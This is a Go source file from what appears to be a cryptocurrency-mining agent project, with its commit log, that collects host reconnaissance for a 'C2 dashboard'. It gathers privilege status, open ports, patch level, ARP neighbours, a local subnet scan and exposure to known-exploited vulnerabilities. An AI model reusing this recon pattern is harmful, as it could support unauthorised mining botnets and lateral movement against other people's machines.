Files
AetherForge/agent/client/syscheck.go
AetherForge e65753ce49
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
fix: second-wave bug fixes, security hardening, visual polish, UX improvements
Bug fixes:
- SRV-B1 through B5: server config, router, server_info, syscheck corrections
- BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3)
- Frontend WS race condition and useVisibleInterval hook fixed
- Drive-root path bug in PathForge resolved
- Upload error handling improved

Security:
- PathForge path traversal guard added
- Script injection escaping applied throughout

Visual (DV-01 through DV-15):
- Cyan design tokens and page headers standardised
- Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css
- SacredPageHeader deleted (replaced inline); sidebar version display fixed

UX:
- Emberwake request storm fixed (EmberwakePage.tsx)
- Help blurbs UH-01, UH-02, UH-06 added
- HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings

Build:
- vite.config.ts: webroot auto-sync on build
- build_universal.go: universal build artifact cleanup
- PROBLEMS.md tracking updated
2026-06-06 17:08:15 -07:00

109 lines
2.6 KiB
Go

package client
import (
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
const syscheckRawMax = 12000
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
r := &FullSysCheckReport{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
WorkerName: cfg.WorkerName,
BuildID: cfg.BuildID,
AgentID: agentID,
Network: &SysCheckNetwork{},
Neighbors: &SysCheckNeighbors{},
}
if host, err := os.Hostname(); err == nil {
r.Hostname = host
}
if p := collectPosture(); p != nil {
r.Security = securityFromPosture(p)
if p.AgentElevated != nil {
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
}
}
r.Patch = collectPatchStatus()
r.ListenPorts = collectListenPorts()
r.Resources = collectResourcePressure()
if dns := probeDNS(); dns != nil {
r.Network.DNS = dns
}
r.Network.Interfaces = listNetInterfaces()
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
r.Network.PrimaryLocalIP = lip
}
extIP, src := fetchExternalIP()
r.Network.ExternalIP = extIP
r.Network.ExternalIPSource = src
if extIP != "" {
r.Network.Geo = fetchGeo(extIP)
}
arp := deploy.ArpNeighborIPs()
r.Neighbors.ArpHosts = arp
r.Neighbors.ArpCount = len(arp)
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
collectSysCheckPlatform(r)
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.InstallDir = dir
}
r.RawSysinfo = truncateRaw(captureRawSysinfo())
r.RawIPConfig = truncateRaw(captureRawIPConfig())
r.RawNetstat = truncateRaw(captureRawNetstat())
return r
}
func truncateRaw(s string) string {
s = strings.TrimSpace(s)
if len(s) <= syscheckRawMax {
return s
}
return s[:syscheckRawMax] + "\n…[truncated]"
}
func captureRawSysinfo() string {
_, _, msg := platformReconStatic("sysinfo", "")
return msg
}
func captureRawIPConfig() string {
_, _, msg := platformReconStatic("ipconfig", "")
return msg
}
func captureRawNetstat() string {
_, _, msg := platformReconStatic("netstat", "")
return msg
}
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
func platformReconStatic(action, command string) (bool, bool, string) {
// Minimal stub client-free path: duplicate switch via temp
ac := &AgentClient{}
return ac.platformRecon(action, command)
}